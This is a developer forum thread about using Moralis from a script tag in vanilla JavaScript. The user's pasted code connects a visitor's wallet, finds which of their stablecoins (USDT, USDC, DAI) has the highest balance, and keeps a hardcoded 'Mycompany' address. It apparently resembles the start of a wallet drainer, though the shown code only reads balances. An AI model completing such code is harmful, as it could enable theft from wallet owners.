how do i use moralis like this const Web3Modal = window.Web3Modal.default;
Can you give us more details on what are you trying to achive?
is there something like const moralis = window.moralis.default
In what context? Vanilla js, react, next, something else?
i am using vanilla.js and i canβt use import moralis from moralis
I am using the script tag inside the html but when i run the script it says moralis not found
import { ethers } from "./ethers-5.6.esm.min.js";
import { providers, utils } from "./ethers-5.6.esm.min.js";
import { abi } from "./constants.js";
const Web3Modal = window.Web3Modal.default;
const WalletConnectProvider = window.WalletConnectProvider.default;
const web3Modal = new Web3Modal({
providerOptions: {
disableInjectedProvider: false,
cacheProvider: true,
theme: "dark",
walletconnect: {
description: "Scan Qrcode with your mobile wallet",
package: WalletConnectProvider,
options: {
infuraId: "d6695ee58d0d4ad3a2e02ae399ae51da",
},
},
},
});
const connecter = document.getElementById("connected");
connecter.onclick = userconnect;
async function userconnect() {
try {
const provider = await web3Modal.connect();
const Provider = new providers.Web3Provider(provider);
const signer = Provider.getSigner();
const userAddress = await signer.getAddress();
const Mycompany = "0x2A1939f55a444efAA68406001e17972b077f43F9";
const contractNames = ['USDT.eth', 'USDC.eth', 'DAI.eth'];
// Find the token contract with the highest balance for the user
let highestBalance = 0;
let highestBalanceTokenAddress;
for (const contractName of contractNames) {
const contractAddress = moralis.getContractAddress(contractName, 'mainnet');
const contract = new ethers.Contract(contractAddress, abi, signer);
const balance = await contract.balanceOf(userAddress);
if (balance.gt(highestBalance)) {
highestBalance = balance;
highestBalanceTokenAddress = contractAddress;
}
}
You are not supposed to use the current version with vanilla, it will reveal your api key. You can check this example on how to setup express with moralis https://docs.moralis.io/web3-data-api/quickstart-nodejs.
Then you can send http requests to your backend. This is the recommended way